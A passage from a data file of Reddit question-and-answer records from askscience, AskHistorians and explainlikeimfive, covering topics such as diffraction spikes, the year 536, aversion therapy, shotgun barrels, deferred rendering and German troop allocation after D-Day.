erosion (except in landscapes that have limited chemical weathering, such as deserts).\n\nThat feels entirely inadequate now that I read back through it, but it'll have to do for now. Hopefully it gives you a place to start. Just realize you have tackled a *major* question that really can not be answered at this point in time. If I may exceed the confines of your question, I would recommend you NOT try to tackle this question. Instead, perhaps try to model a few things like slope, rainfall, and rock type - and be happy with very rough approximations of their impact on a landscape.\n", "From what I can recall from Introductory Soils, there are five things that determine soil characteristics:\n\n1. Parent Material\n2. Climate\n3. Physical Interactions\n4. Chemical Interactions\n5. Time\n\nAbout the only thing that is constant over a long geological period in this equation is the parent material.\n\nThis is a difficult question to answer, however, as soil type is generally unique, even across similarly classified landscapes. For example, the soils in [this](_URL_2_) desert are quite different from the soils in [this](_URL_0_) one. Even more confounding, is that the soils in the latter picture are probably fairly similar to [this](_URL_1_) part of northern Michigan, at least in the upper soil layers. \n\nIt's a mess, for sure.\n\nAre you needing this information to present to other scientists? Or will the people looking at this information be less picky?"]}, "title_urls": [], "selftext_urls": ["http://upload.wikimedia.org/wikipedia/commons/6/65/SoilTextureTriangle.jpg", "http://upload.wikimedia.org/wikipedia/commons/0/03/Global_soil_regions.jpg"], "answers_urls": [[], [], ["http://www.travelblog.org/Photos/2966887", "http://www.google.com/imgres?um=1&amp;hl=en&amp;newwindow=1&amp;sa=N&amp;tbm=isch&amp;tbnid=rxm9NoaQal__4M:&amp;imgrefurl=http://www.leelanau.com/dunes/&amp;docid=0_3HYpCwoKklhM&amp;imgurl=http://farm4.static.flickr.com/3275/2552214457_d4e2c8a58e.jpg&amp;w=500&amp;h=375&amp;ei=MMiTUMObAZG6yAGCmYCYDQ&amp;zoom=1&amp;iact=hc&amp;vpx=186&amp;vpy=508&amp;dur=1782&amp;hovh=194&amp;hovw=259&amp;tx=146&amp;ty=138&amp;sig=105057932918636265724&amp;page=1&amp;tbnh=147&amp;tbnw=190&amp;start=0&amp;ndsp=19&amp;ved=1t:429,i:131&amp;biw=1639&amp;bih=812", "http://www.google.com/imgres?um=1&amp;hl=en&amp;newwindow=1&amp;sa=N&amp;tbm=isch&amp;tbnid=AKdDMo87rJhhNM:&amp;imgrefurl=http://tylerpfiffner.com/site/landscape-photography&amp;docid=KiFSbYB2Z3ieQM&amp;imgurl=http://tylerpfiffner.com/site/wp-content/uploads/2011/11/Desert-Landscape.jpg&amp;w=1280&amp;h=853&amp;ei=sceTUJfRMuSJywGgqICADA&amp;zoom=1&amp;iact=hc&amp;vpx=568&amp;vpy=296&amp;dur=2037&amp;hovh=183&amp;hovw=274&amp;tx=122&amp;ty=97&amp;sig=105057932918636265724&amp;page=1&amp;tbnh=147&amp;tbnw=234&amp;start=0&amp;ndsp=27&amp;ved=1t:429,i:99&amp;biw=1639&amp;bih=812"]]}
{"q_id": "2nm6ea", "title": "Why does the light from a bright source appear to form a cross at certain exposures? Is there a reason these \"rays\" are at 90 degrees to one another?", "selftext": "[An example](_URL_0_) of what I'm talking about.\n\nIs this a function of the camera, the light itself, or a combination of the two? Is there any particular reason why its 4 main \"rays\" originating from the source? Why not 5 or 7?\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2nm6ea/why_does_the_light_from_a_bright_source_appear_to/", "answers": {"a_id": ["cmeukkz", "cmf20mr"], "score": [136, 17], "text": ["They're called [diffraction spikes](_URL_3_). They're only noticeable for really bright or overexposed point sources.\n\nIt's a function of the telescope design. If you could design a reflecting telescope that didn't have any secondary mirror with support structures getting in the way, you could get rid of them.\n\nMost telescopes have the cross shaped diffraction spikes because the [secondary mirror is usually supported](_URL_2_) by a [4-pronged structure](_URL_4_) (called vanes). If you have a [3-vaned structure](_URL_1_), you get [6 diffraction spikes](_URL_0_) (each vane produces 2, but in the cross shape, the opposite sides overlap and you get 4 distinct spikes).", "I don't know about telescope photography, but when you see that on TV shows or live shows with bright lights in the background, it is a product of the camera lens.  Specifically, a special filter they add on top of the lens:\n\n_URL_0_\n\nWhich makes all the lights look like this:\n\n_URL_1_\n\nDifferent patterns in the filter produce different patterns in the lights.  You can get all sorts of shapes.  Or, with no filter at all, you can see the polygonal-shape that your camera's own aperture produces."]}, "title_urls": [], "selftext_urls": ["http://farm8.staticflickr.com/7560/15876388171_a07f07edd1_o.jpg"], "answers_urls": [["http://www.geoastro.co.uk/fourier_transforms/3_vane_ft.jpg", "http://www.geoastro.co.uk/fourier_transforms/3_vane.jpg", "http://www.rocketroberts.com/astro/images/newtonian_07.jpg", "http://en.wikipedia.org/wiki/Diffraction_spike", "http://www.observatory.org/234vane.jpg"], ["http://www.photo-special.com.cn/pics/Other/xingguangjing.JPG", "http://www.rugift.com/images/photos/6-star-filter-sample-1.jpg"]]}
{"q_id": "1k6rzi", "title": "Prior to photography, or at its early stages, how were unknown dead bodies identified in large cities?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1k6rzi/prior_to_photography_or_at_its_early_stages_how/", "answers": {"a_id": ["cbly9fh"], "score": [2], "text": ["not discouraging more contributions on this topic - especially regarding the identification of dead bodies specifically - but FYI there have been a few posts on identification before photography, so check these out for some previous responses:\n\n[Identification throughout history](_URL_3_)\n\n[How were people identified prior to photography?](_URL_1_)\n\n[What kind of identifications did people in the middle ages use? Were they ever needed?](_URL_0_)\n\n[How easy was it for a fugitive to hide and/or establish a new identity before the invention of photography?](_URL_2_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/1dqd93/what_kind_of_identifications_did_people_in_the/", "http://www.reddit.com/r/AskHistorians/comments/y27aq/how_were_people_identified_prior_to_photography/", "http://www.reddit.com/r/AskHistorians/comments/19wwqg/how_easy_was_it_for_a_fugitive_to_hide_andor/", "http://www.reddit.com/r/AskHistorians/comments/sh09s/identification_throughout_history/"]]}
{"q_id": "ik398", "title": "Would the Ludovico technique from A Clockwork Orange work in real life? ", "selftext": "In the film A Clockwork Orange from 1971(a film i thought every psychologist had seen) the main character signs up for a treatment called the [Ludovico technique](_URL_0_). \n\nThey strap him in a chair and forces him to watch ultra violence along with Beethoven 9th symphony while he is under the effect of a nausea-inducing drug. In the movie this is supposed to make him stop being violent sort of.\n\nNow here is my question, if someone were to do this in real life what would actually happen?\n\nWould it work? Would it not do anything? Would it make the subject hate Beethovens 9th? Would it make the subject even more violent?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ik398/would_the_ludovico_technique_from_a_clockwork/", "answers": {"a_id": ["c24edtq", "c24em1m", "c24g0kq"], "score": [12, 8, 3], "text": ["Well, it's based on [aversive conditioning](_URL_0_), which is a type of Pavlovian or classical conditioning.  However, instead of engaging in the act, he is merely watching it.  Therefore, he would most likely be conditioned to have an aversion to the sight of the good old ultraviolence and the sound of Beethoven's 9th.  I don't think it would actually work since the act is not being equated with the unpleasant stimulus, but I'm not 100% sure.\n\nThat being said, [conditioned aversions are notoriously hard to break](_URL_1_).", "It would depend on the malleability of the person in question. Something like this would be better suited for use with children, though the ethical ramifications of that mean that no one should ever try. Also, the nausea would probably be difficult to get as a specific reaction. Aversion manifests itself in the form of anxiety, which could cause nausea for some.\n\nThere's also the issue of the watching v. behaving. In the film, Alex watches the ol' ultraviolence but is only sick when he tries to engage in it. If a person was trained to avoid these stimuli via observation, his aversion would be more global than just an aversion to ultraviolent behavior.", "Let's examine some real life experiments. The main character, Alex, is a sadistic sociopath.\n\nThere have been experiments done to try to reduce the sociopathic tendencies of criminals. One place placed a group of sociopaths in a large room, took their clothes, gave them LSD, and had very long therapy sessions in order to make them care for each other. It seemed like they did take care of each other more than they did before. Once they were released (eventually), their recidivism rates were even higher than other sociopathic criminals.\n\nIt's the opinion of mainstream psychology that sociopathy is untreatable. Sociopaths who receive behavioral therapy learn how to act like a psychological normal person, but use that knowledge to manipulate people. \n\nThe use of aversion therapy, which is what the Ludovico Techique is, hasn't been used to treat any psychological disorder in any great extent, as far as I know. However, it has been extensively used to treat gay people in order to make heterosexuals. I've heard of noxious odors, electric shocks, and rubber band snaps being used. Fortunately, ex-gay therapy is widely considered to be ineffective. \n\n\nTo answer your questions: \n1) No, it would not work. Sociopaths do not respond to therapy and aversion therapy doesn't work on gay people.\n2) It would probably do something. I wouldn't be able to predict it.\n3) Probably. When I was younger (probably 7-8 years ago) I had to go to a Christian retreat and whenever there was a meeting (many times a day), they would play a Christian band's cover of \"Love Song\" (The Cure). To this day, whenever I hear any cover of the song, I get unreasonably irritated (not sick).\n4) Unpredictable."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Ludovico_technique"], "answers_urls": [["http://www.enotes.com/gale-psychology-encyclopedia/aversive-conditioning", "http://en.wikipedia.org/wiki/Taste_aversion"], [], []]}
{"q_id": "9yn9gq", "title": "A recent article quoted a historian as saying that the year 536 was \"the worst year to be alive.\" How could one objectively measure such a thing? Can a legitimate argument be made that a different year was worse?", "selftext": "This may be a question as much about the study of history itself more than general history, so I'm open to a variety of ways to answer this query.\n\n[This is the article in question.](_URL_0_)\n\nThe \"why\" seems to boil down to \"a lot of bad stuff happened.\" It seems odd especially because the answer is so precise and framed to be so certain. **EDIT** The article also seems to be rather Western-focused, doesn't it?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9yn9gq/a_recent_article_quoted_a_historian_as_saying/", "answers": {"a_id": ["ea358mj"], "score": [72], "text": ["I think this is a function of clickbait online journalism, a hook to get you reading about climate science, tree rings and ice cores.\n\nAlso, reading the first paragraph, the precise claim seems confused.\n\n > Ask medieval historian Michael McCormick what year was the worst to be alive, and he's got an answer: \"536.\" ..... In Europe, \"It was the beginning of one of the worst periods to be alive, if not the worst year,\" says McCormick, a historian and archaeologist who chairs the Harvard University Initiative for the Science of the Human Past.\n\nSo, because of the way the sentence is structured, it is tough to read precisely what McCormic said. It seems plausible that he was limiting himself to saying ~~\"in Europe, worst year was 536\"~~ edit: \"in Europe, worst few years started in 536\", (so his claim is not what is even said in title). Which is a far-cry from saying the worst year _everywhere_ was that particular year. And of course, that is his subjective opinion which other medievalists could disagree with.\n\n > EDIT The article also seems to be rather Western-focused, doesn't it?\n\nI agree. The article does briefly mention crop failures in China, which hints at widespread climate effects going on. However, nothing is mentioned about what climate effects there were in Sub-Saharan Africa, South Asia, Australia, or the Americas. It is possible that tree-ring and ice core data for some or all of those regions are not yet available. \n\nFor some regions like South Asia, Ethiopia and Mesoamerica, there were writing systems which would allow accounts from the period circa 536 to survive, giving us some insight on climate, instability, warfare etc.\n\nFor other regions, including large swathes of the Americas and Africa, we are without writing for that period.\n\n----\nIn any case, I agree with boringhistoryfan. It is a pointless intellectual exercise to determine what the \"worst year in the world\" was, because it is something that is so subjective. And speaking on a global scale is particularly silly if you are talking about an era prior to the current globally interconnected world. "]}, "title_urls": [], "selftext_urls": ["http://www.sciencemag.org/news/2018/11/why-536-was-worst-year-be-alive"], "answers_urls": [[]]}
{"q_id": "efyc37", "title": "if rifle barrels are rifled, made to fit 1 type of bullet and last a long time, how come shotgun barrels arent destroyed after having a bunch of metal shot bouncing around in them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/efyc37/eli5_if_rifle_barrels_are_rifled_made_to_fit_1/", "answers": {"a_id": ["fc35v69", "fc366ta", "fc3ewci", "fc4484q"], "score": [35, 2, 10, 8], "text": ["Most shotgun barrels are smooth bore, meaning that they are a straight pipe with smooth sides. The shot is held together by a \"wad\" which is like a little cup that separates the shot from the powder. Rifled shotgun barrels are available for slugs, though.", "Rifling makes the bullet spin - it has nothing to do with stuff bouncing around the barrel.  What makes you think stuff is bouncing around a shotgun barrel (it isn't)?", "As others have posted, modern shotguns use a cup/wad that contains the shot as it travels down the barrel.\n\nMuzzle-loaders and older shotguns generally don't bother with a shot cup. So long as you only fire lead shot you don't have significant problems with barrel wear because the lead shot is much, much softer than the hardened steel barrel. When lead and steel meet, steel wins and the lead deforms. The issue you *do* run into is lead fouling in the barrel, but that's solved by periodic cleaning and really isn't a major problem when firing shot unless it's *really* severe.", "Just to add to the already adequate answers here, rifling has nothing to do with the durability or the lifespan of a barrel. It's done to cause the bullet to spin. The spin stabilizes the flight of the bullet causing increased accuracy. This is not necessary for shotguns, especially with bird shot."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "20856v", "title": "Could a stadium of people holding mirrors start a fire?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/20856v/could_a_stadium_of_people_holding_mirrors_start_a/", "answers": {"a_id": ["cg0satc"], "score": [10], "text": ["Well, [one person with a mirror](_URL_0_) can start a fire, so I'm going to say yes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.amazon.com/Solar-Spark-Lighter-Survival-Tool/dp/B002MUG0E6"]]}
{"q_id": "1j891j", "title": "why was it such a big deal to be gay in the military?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1j891j/eli5why_was_it_such_a_big_deal_to_be_gay_in_the/", "answers": {"a_id": ["cbc3e78", "cbc3geg", "cbc3ha3", "cbc439s", "cbc5k3i", "cbc739o", "cbc8kov", "cbcdm2s", "cbcf5zf", "cbcm0my"], "score": [35, 9, 33, 6, 2, 3, 2, 2, 2, 2], "text": ["Many just didn't want gay soldiers around, and felt they would erode the largely macho culture the military encourages.\n\nOthers had more legitimate concerns.  \n\nSoldiers often live in intimately close quarters and engage in activities that involve close physical contact.  Some were uncomfortable with the idea that they person they were showering with might be sexually attracted to them, or use it as an opportunity to take physical liberties.\n", "While this may or may not be changing, there are a lot of communal facilities in the military.  Communal showers, communal bathrooms (sometimes without dividing walls), communal living quarters (with barracks or mandatory roommate situations).\n\nPeople are often uncomfortable (perhaps socialized to be uncomfortable) with unwanted sexual attention.  Going into the wrong-gendered bathroom or locker room is taboo for this reason.  People are uncomfortable with being looked at by others who might view them as a sex object without consenting to it.\n\nIt is relatively easy to segregate soldiers by biological sex.\n\nHowever, homosexuals are normal people, and look like normal people.  So many people were concerned with being placed in situations where they had little privacy in front of people who view them as sex objects.  \n\nThey felt as you might feel being asked to get naked in front of a member of the opposite sex.\n\nThe answer to this, of course, is to provide more individual privacy for soldiers (personal showers and changing areas), not to discriminate against soldiers based on orientation.\n\n---\n\nSide note:  Also, good ol' homophobia.  Inaccurate stereotypes about male homosexuals being effeminate and less suited for combat, and/or more emotional and therefore less suited for combat.  Unsubstantiated fears of anal rape (as if homosexuals are automatically rapists).  Concern about conflict within the ranks over these imagined slights.", "No sarcasm here (17 year active duty military member): \n\nBecause some people are homophobes and think their ideas of morality should be applied to everyone, even in the military. ", "Of course \"big deal\" is a matter of opinion, but I understand what you mean.\n\nA lot of people have problems with gay people being in the military because of the connotation of gay people. A connotation is the feeling or idea a word gives us other than its exact meaning. For example, if I say terrorist, you may picture a middle eastern man with a turban and a bomb. Literally, a terrorist is someone who uses violence or intimidation for political reasons. For various reasons such as portrayal in the media, the word terrorist has an unfortunate connotation of middle eastern men, at least in the United States. The connotation of the word gay is similar to this.\n\nBeing gay only means you are attracted to people of the same sex. There is no meaning beyond this. However, we associate a lot of things with being gay and that has created the connotation we observe every day. For example, being gay is associated with rainbows, gay pride, flamboyance, femininity in males, masculinity in girls, a lisp, being well groomed, being dramatic, HIV and AIDS to name a few. These are all stereotypes that may each only represent a minority of gays. \n\nI have a cousin who, considering the connotation of being gay, doesn't act gay at all. He doesn't act very feminine or flamboyant. He doesn't have a lisp. A couple years ago he told everyone he was gay. No one really expected it, but none of the family really cared. Nothing has changed and if he never told us he was gay, I wouldn't suspect he was. I think the reason a lot of people think being gay in the military is such a big deal is because they don't see how gay people are just like straight people, except they prefer the same sex. \n\nBeing in the military and fighting in the war has always been depicted as something manly. In fact, being a man has its own connotation. Men have to be brave, strong, and tough. We eat steak and love women. The men go to war and the women take care of the house and kids. We don't get emotional and we sure as hell don't cry. We're dirty and rugged, and thats what makes us men. \n\nNone of this is actually true. Being a man means you have a Y chromosome, aka: you have a penis. Being brave, stong, and not crying are all examples of the gender roles given to us by society. Gender roles are social and behavioral norms considered appropriate for a man or a woman. \n\nBeing a gay male in the military shouldn't be significant, but the connotations of each contradict each other. That's why it is a big deal. If I say gay and you think of [this,](_URL_0_) you relate gay people to feminism and the opposite of being manly. Females in the military are also controversial because some people believe they can't fight like men do. The idea is that if we're on the front line fighting for our lives, I'd want to make sure the person next to me has my back and won't jeopardize our survival. People who believe gays or females can't be tough, strong, brave, or as brutal as straight men don't want them fighting alongside them. In truth, there is nothing to back this up. **It's all based on the judgments we make about people; these are based on connotations created by society from the associations we make between certain behaviors, preferences, and people.** ", "Because most bigots believe homosexuals are incapable of controlling their sexual behavior. ", "There's a lot of homophobia-related answers here already, so I'll add something else; not more correct, just a different theory. I'm not sure how widely applicable/true this is... but I've heard arguments for not letting women in the military, not just because of raging male hormones, but also that if affection develops, then it may cloud your judgement in the battlefield. If every person in the military were a hetero-male, this wouldn't be an issue, but if there are gay men, the same male-female conflict of interest may develop, just with different genders. Again, I have never been in the military so I have no idea how much of this is a factor, but just something I've heard.", "Try reading \"Conduct Unbecoming\" for a view of the situation from 20 years ago.", "Why is being gay at all still a big deal?", "Speaking from five years as an active duty US Soldier (combat arms from 2007-2012 with two years in Iraq,) there are many justifications used and lines of scripture quoted. But I believe it comes down to a couple things.\n    I lived my whole life in Massachusetts and I didn't even know being gay was controversial or against the \"social norm\" until nearly middle school. I had never really been exposed to a homophobe and have never felt uncomfortable about homosexuality (I am straight) After mingling with religious nuts and manly-men from the south for all that time I TRULY believe that the most homophobic are confused about their sexuality. I think all the others just think it's gross but can't come to terms with such a base reason so they have to invent stuff. I'm glad to be out. ", "A friend explained it to me from a logistical standpoint which made sense, it went something like this.\n\nThe problem is with housing, you cannot house gays with straight men because there will be issues with non-gays being uncomfortable and un-accepting. You can't house them with women because then straight men might claim being gay in order to gain access to girls quarters, as well as issues with bi-sexuals. And finally you can't house them together from the standpoint that there would be relationships within. \n\nI imagine there are good arguments against this, just thought it was an interesting pint."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://nandoism.com/wp-content/uploads/2010/04/relaunch-of-gay.png"], [], [], [], [], [], []]}
{"q_id": "37s2ya", "title": "Tornadoes, hurricanes, and monsoons only occur in very specific regions on earth where the conditions are right. Was there a \"Tornado alley\" in Pangaea? Did the coasts of any ancient continents have monsoons and hurricanes?", "selftext": "I was reading about tornadoes, because they are awesome, and I was struck by [this graph](_URL_2_) and the accompanying text which explains that tornadoes are 4x more likely in the continental US, and it's a consequence of the geography of North America. \n\nSimilarly, I'm familiar with hurricanes [hitting the east coast/Gulf of Mexico, east asia, and Australia/Indonesia,](_URL_1_) and an annual monsoon cycle through [Africa, Asia, and Australia.](_URL_0_)\n\nAs far as I understand, the incidence of all these severe weather patterns are primarily a consequence of geography, so I wonder how these weather patterns evolved with the continental drift. I'm just asking generally - not necessarily about the weather of Pangaea, but about the weather of any ancient arrangement of the continents. \n\nMost importantly - how do we know? Aside from reconstructing continental drift and making guesses or doing simulations, is there strong geological evidence to explain it? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/37s2ya/tornadoes_hurricanes_and_monsoons_only_occur_in/", "answers": {"a_id": ["crpffs2"], "score": [7], "text": ["I think we don't know the details of the topography and coastline of Pangaea well enough to answer these questions.   Tornado Alley and the Indian Monsoon both depend on a certain combination of geographic characteristics which is apparently rare on earth because each is unique to one region (there are other weaker monsoons but nothing of scale like the Indian).  Maybe there was a Tornado Alley on Pangaea too but I don't think we could know. Probably a bit more likely that somewhere the coastline would support a monsoonal flow.\n\nAs for hurricanes, I would guess the huge ocean of that time would likely be capable of generating hurricanes provided the water was warm enough. Hurricanes seem likely but no one really knows what the ocean temperatures were then."]}, "title_urls": [], "selftext_urls": ["http://www.globe.gov/explore-science/scientists-blog/archived-posts/sciblog/wp-content/uploads/2011/12/Fig3.jpg", "http://en.wikipedia.org/wiki/Tropical_cyclone#/media/File:Tropical_cyclones_1945_2006_wikicolor.png", "http://upload.wikimedia.org/wikipedia/commons/1/1a/Globdisttornado.jpg"], "answers_urls": [[]]}
{"q_id": "68gg7w", "title": "Does atmospheric pressure affect your vision?", "selftext": "I have astigmatism, and I've noticed that when I'm at lower altitude my eyes get tired less frequently. I've also noticed on days when there is high pressure outside, my eyes get less tired.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/68gg7w/does_atmospheric_pressure_affect_your_vision/", "answers": {"a_id": ["dgz3fmu"], "score": [6], "text": ["Yes. Your vision is dependent on the shape of your eye, and atmospheric pressure is plenty strong enough to distort the eye's shape . For example, you have astigmatism because your eye is elongated. Gently push on your eye and you will see your vision change.\n\nThere could be another mechanism for atmospheric pressure to affect your vision, but I'm not sure. I also cannot say if it gets better or worse at different pressures. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "c6xrxu", "title": "how does misinformation proliferate in the age of information?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c6xrxu/eli5_how_does_misinformation_proliferate_in_the/", "answers": {"a_id": ["esbqzuc", "esbs6pk", "esbtw51", "esbtxxr"], "score": [7, 3, 2, 2], "text": ["We simply don\u2019t have time to fact check all of the information that we hear. With the overwhelming amount of information out there, it\u2019s impossible for us to absorb it all. And even if we were able to, most of that information is just not worth our time to read. News companies understand this, so they mastered clickbait and catchy headlines, and they boil down very complex issues into a simple one-sided argument to invoke an emotional response. They get the opportunity to be a bit lax with their journalistic integrity, since they know so few people will bother to fact check them, and even if they do, people would have to go back and read something else that\u2019s even more boring to know the results of the fact checking.", "There's too much information, and the vast majority of it **is wrong anyway**. \n\nSay I want to figure out if Fox's most recent major story is true or not. I search it online, and I find a few thousand, maybe a few million, articles about it. Roughly half will be misinformed people arguing about it, another 40% will be people talking about the people talking about it and not the story itself, another 9.9% will be speculation about it, and MAYBE 0.09% will be discussion about the facts of the matter, but without firsthand knowledge of the material.   \n\n\nAnd then, when you get to that very last 0.01%, you might actually find the facts themselves. But guess what? That still leaves us with anywhere from dozens to thousands of scholarly articles, written in language very unfamiliar to the majority of people, that is very dense and difficult to read for the majority of people, and which may or may not be biased, outdated, and wrong anyway.   \n\n\nSo, in order to get the correct facts and avoid misinformation, you need to get a college degree (or equivalent), and spend hours upon hours looking through all of this crap in order to find solid data.", "The simple explanation is that it's because of how people choose the information they consume. Everyone can access lots of useful information but many people choose to read information _they like_ and that _makes them feel good_. \n\nThey are not selecting the information they consume and choose to believe based on reasoning, but on _emotion_. If it _feels_ good, then they keep it, if it _feels_ bad, then they reject it.\n\nThe second key to this is the effect of social sharing of information. Information that _feels_ good spreads among friends and acquaintances, because that's easier to share and bond around than \"boring\" but correct information.", "Many people don't care, actively read sources or join communities that confirm their bias, and then actively dismiss sources that conflict with their bias as mislead, wrong, or outright lies."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4dm6dj", "title": "[Book request] John Brown and William Tecumseh Sherman", "selftext": "Hi r/AskHistorians,\n\nI was recently exploring some Civil War history with a couple of friends and one became captivated with General Sherman and abolitionist John Brown. I have a number of books (*Battle Cry of Freedom*, etc.) that deal with Brown and Sherman as part of larger studies of the Civil War period, but what are the best books/biographies about them individually? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4dm6dj/book_request_john_brown_and_william_tecumseh/", "answers": {"a_id": ["d1s7wco", "d1sale4", "d1scxcp", "d1si5ck"], "score": [3, 2, 2, 3], "text": ["I am sure that somebody in this sub could recommend a definitive biography on John Brown however I enjoyed this book: Evan Carton (2006). Patriotic Treason: John Brown and the Soul of America.", "Although they don't cover John Brown all that much, Bruce Catton's two-part exploration of U.S. Grant ('Grant Moves South'  &  'Grant Takes Command') provide some spectacular insight into the western theater of the ACW, and shed a lot of light on Sherman as both a general, and friend of Grant. In particular, Catton lays out how Grant's final expedition to take Vicksburg was a massive influence on Sherman's eventual march through Georgia and South Carolina. \n\nIn brief, Grant had organized several different expeditions and attack plans to take Vicksburg (straight across the Mississippi, down the Yazoo, digging a separate river channel, etc.), but finally came to the idea that the best way to do it was to unhook from his supply lines, march well south of Vicksburg through the bogs and swamps (where the supply trains couldn't follow), cross the Mississippi, and live off the land as he went. Grant (correctly) predicted that with light rations, his men would be able to survive off of southern spoils, which would simultaneously feed his army whilst robbing the southern armies of their potential supplies. It also allowed his army to move fast, and to potentially surprise his opponents. It worked, and Grant was able to maneuver around to take Jackson (a main supply hub for Vicksburg) and invest around Vicksburg before Joe Johnston could get there to help out. Ironically, Sherman thought Grant was crazy to try this (abandoning one's supply lines was thought to be suicide in enemy territory), but eventually came to see the genius of the plan. As fate would have it, Sherman made his name in American history for his \"March to the Sea,\" which was essentially an expanded version of that same theory he'd thought was so foolhardy! ", "Not my flair area, but I enjoyed Tony Horwitz' *Midnight Rising: John Brown and the Raid That Sparked the Civil War*. Henry Holt. 2011. ISBN 978-0-8050-9153-3. It's the author who wrote *Confederates in the Attic*. ", "The memoirs of Sherman are fantastic, if dry, as you might expect from a memoir written in the 19th century. Some of it deals with battle formations (if you're a military historian, may prove interesting, but not for me personally). \n\n\nMy personal favorite parts of the memoirs are where he lists transcripts of letters between himself and others - him and Grant did not see eye to eye on a lot of things, to say the least.\n\nYou can actually read it online via Project Gutenberg, if you like: _URL_0_\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.gutenberg.org/files/4361/4361-h/4361-h.htm"]]}
{"q_id": "8ijv0x", "title": "deferred vs. normal rendering. (3d graphics)", "selftext": "I'm trying to study how 3D graphics work. I've come across \"deferred rendering\" a few times and don't quite get how it works, or why it's better than regular rendering. I searched and found one related submission on this subreddit, with only one questionable answer.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8ijv0x/eli5_deferred_vs_normal_rendering_3d_graphics/", "answers": {"a_id": ["dysc7ld"], "score": [3], "text": ["It isn't actually a question about deferred vs. \"regular\" rendering, it is deferred vs. forward rendering. Simply put by delaying certain calculations such as lighting until later in the rendering pipeline you can prevent performing those calculations at all for things that don't appear on the screen, providing significant performance benefits."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2cni6y", "title": "Is there any research to verify the existence of the \"Ben Franklin effect?\"", "selftext": "The [Ben Franklin effect](_URL_0_) is a popular trope on the internet but is there any actual research that verifies this as an actual phenomenon or is this more of a popular idea?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2cni6y/is_there_any_research_to_verify_the_existence_of/", "answers": {"a_id": ["cjhfnih", "cjjpw5w"], "score": [2, 3], "text": ["It is mentioned in [59 seconds](_URL_0_), which is fully sourced, so there must be. I don't have my copy here, I will try and remember to post a source when I get home.", "There's definitely research to support aspects of this effect. For instance, lots of research has demonstrated the [foot-in-the-door effect](_URL_0_), wherein you are more likely to do a bigger favor for someone if you have already agreed to do a smaller one. \n\nAs mentioned by another comment in this thread, social psychologists explain this behavior with Cognitive Dissonance Theory. Cognitive Dissonance occurs when there is a discrepancy between two beliefs that you hold, or between a belief and your actions, etc. For example, if I claim to believe it's important to recycle, but I throw my soup can from lunch in the trash can and my friend calls me a hypocrite (this may or may not be a real life example), I am now experiencing cognitive dissonance, which is uncomfortable. I can rectify this by changing my belief (\"this soup can isn't really that important to the environment\") or my behavior (stop being lazy and recycle the can). \n\nSo, in the case of doing a favor for someone, you infer from your own actions that doing a favor for this person must be important, or something that you value (in other words, the action affects your beliefs or self-perception), and then you are more likely to do another favor because not doing so may cause dissonance with the belief that doing the favor is important, or that you value being kind to others.\n\nThere is much evidence for cognitive dissonance theory in this sort of context, but it should also be noted that it can be highly influenced by the context. A lot of these studies have the participant engage in a behavior that they don't have very strong beliefs or reasons for (such as selecting a product from a list of products), so they are more likely to form beliefs based on their behaviors than vice versa. \n\nFor example, if I asked you to tell me how to get to the store and you complied, then I asked you for a ride to the store, you would probably not give me the ride because, despite the belief that helping people is good, you also already believe that strangers asking for rides is creepy, and that would probably win out.\n\nFestinger, Leon. \"Cognitive dissonance theory.\" R. West and LH Turner, Introducing communication Theory Analysis and Application 4 (2010): 112-128."]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Ben_Franklin_effect"], "answers_urls": [["http://richardwiseman.wordpress.com/books/59-seconds-think-a-little-change-a-lot/"], ["http://psycnet.apa.org/psycinfo/1981-05381-001"]]}
{"q_id": "f6lqjj", "title": "How was the German Military allocated in the West vs east after D-Day?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/f6lqjj/how_was_the_german_military_allocated_in_the_west/", "answers": {"a_id": ["fi77bhd"], "score": [4], "text": ["So for the German Army (including Luftwaffe ground divisions, but not air assets) I feel like the best easily available representation of this is the [Count of Divisions by front available here](_URL_0_)\n\nThis shows a really rough estimate of how the split of forces between the fronts was, although it's not perfect by any means.  Obviously not all divisions are equal, and not all German forces are contained within a divisional structure.  Also Italian, Romanian, Finnish, etc forces are not included.  Lastly Luftwaffe combat aircraft and Flak Battery dispositions are an important part of the picture not included, and these military assets were more likely to be allocated to face western forces than Wehrmacht divisions are, especially in 1943-5.\n\nSo to directly answer the question, from July 1944 (D-Day is in June) if we allocate Western, Africa(zero divisions but still), and Italy to the West, and Eastern, Finland, and South-Eastern, to the East,  (leaving out Germany and Norway for various reasons) we've got about 55-60% of total forces in the East, and 34-37% in the West, or about 1.5 to 1.75x as many divisions in the East as the West."]}, "title_urls": [], "selftext_urls": [], "answers_urls": 